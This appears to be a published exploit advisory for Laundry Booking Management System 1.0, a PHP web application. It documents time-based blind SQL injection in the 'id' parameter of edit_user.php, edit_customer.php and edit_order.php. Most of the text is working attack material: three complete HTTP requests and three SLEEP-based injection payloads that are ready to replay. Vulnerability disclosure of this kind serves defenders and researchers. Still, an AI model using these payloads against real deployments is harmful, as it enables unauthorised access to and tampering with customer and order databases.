Laundry Booking Management System 1.0 - Multiple SQL Injection Vulnerability

# Exploit Title: Laundry Booking Management System 1.0 - 'Multiple' SQL Injection
# Exploit Author: Azumah Foresight Xorlali
# Vendor Homepage: https://www.sourcecodester.com/php/14400/laundry-booking-management-system-php-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14400&title=Laundry+Booking+Management+System+in+PHP+with+Free+Source+Code
# Version: Version 1.0
# Category: Web Application
# Tested on: Kali Linux

Description:
Laundry Booking Management System 1.0 application is vulnerable to SQL
injection via the "id" parameter, which was not properly checked on the
[edit_user.php,edit_customer.php,edit_order.php] page.

#Vulnerable Request when logged in as a user with Supervisor or Manager:
POST /laundry_sourcecode/laundry_sourcecode/edit_user.php?id=7 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://localhost/laundry_sourcecode/laundry_sourcecode/edit_user.php?id=7
Content-Type: multipart/form-data;
boundary=---------------------------851226474159708868105526498
Content-Length: 1408
Connection: close
Cookie: PHPSESSID=dih37knpkeb9hc1qtk56godb5r
Upgrade-Insecure-Requests: 1


---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=7' AND (SELECT 5999 FROM (SELECT(SLEEP(5)))BOpa) AND
'voSh'='voSh
---

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#Vulnerable Request when logged in as Admin:
POST /laundry_sourcecode/laundry_sourcecode/edit_customer.php?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://localhost/laundry_sourcecode/laundry_sourcecode/edit_customer.php?id=1
Content-Type: multipart/form-data;
boundary=---------------------------17781030011592905058578147050
Content-Length: 767
Connection: close
Cookie: PHPSESSID=dih37knpkeb9hc1qtk56godb5r
Upgrade-Insecure-Requests: 1

---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 6874 FROM (SELECT(SLEEP(5)))ZCjC) AND
'GIau'='GIau
---

-----------------------------------------------------------------------------------------------------------------------

#Vulnerable Request when logged in a Admin:
POST /laundry_sourcecode/laundry_sourcecode/edit_order.php?id=18 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://localhost/laundry_sourcecode/laundry_sourcecode/edit_order.php?id=18
Content-Type: multipart/form-data;
boundary=---------------------------167059892515401580571429373524
Content-Length: 886
Connection: close
Cookie: PHPSESSID=dih37knpkeb9hc1qtk56godb5r
Upgrade-Insecure-Requests: 1


---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=18' AND (SELECT 8201 FROM (SELECT(SLEEP(5)))odDG) AND
'wCli'='wCli
---